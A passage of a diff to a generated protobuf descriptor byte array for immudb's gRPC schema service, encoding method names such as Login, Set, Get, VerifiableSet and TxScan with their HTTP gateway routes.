0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, - 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, - 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, 0x54, 0x4c, 0x53, - 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, - 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, 0x0a, 0x0c, 0x43, - 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x3d, 0x0a, - 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x05, - 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x16, 0x2e, 0x67, - 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, - 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, 0x62, 0x61, 0x63, - 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, + 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x75, 0x0a, 0x10, + 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x22, 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, + 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x3a, 0x01, 0x2a, 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, + 0x55, 0x73, 0x65, 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, + 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, - 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x4d, 0x0a, 0x0a, 0x54, 0x78, 0x53, - 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, - 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x12, 0x5d, 0x0a, 0x05, 0x4c, 0x6f, 0x67, 0x69, - 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, - 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x19, 0x88, 0x02, - 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x3a, - 0x01, 0x2a, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x4f, 0x0a, 0x06, 0x4c, 0x6f, 0x67, 0x6f, 0x75, - 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, + 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x3a, 0x01, + 0x2a, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, + 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, + 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, + 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x00, 0x12, 0x40, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x22, 0x15, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x6c, - 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x53, 0x65, 0x74, 0x12, - 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, - 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x64, 0x62, - 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x47, 0x65, 0x74, - 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x67, - 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1e, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x1d, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x5a, 0x0a, - 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, - 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, - 0x65, 0x72, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, - 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, - 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x3a, 0x01, - 0x2a, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, - 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, - 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, - 0x62, 0x2f, 0x65, 0x78, 0x65, 0x63, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x4f, 0x0a, 0x04, - 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, - 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x63, 0x61, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, - 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, - 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, - 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, 0x53, 0x0a, 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, - 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, - 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x4a, 0x0a, 0x06, - 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x64, 0x62, - 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x73, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x22, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x50, 0x0a, - 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x11, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x3a, 0x01, 0x2a, 0x12, - 0x58, 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, - 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, - 0x73, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x68, - 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x6b, 0x0a, 0x0a, 0x53, 0x65, 0x72, - 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, - 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, - 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x73, 0x65, 0x72, 0x76, 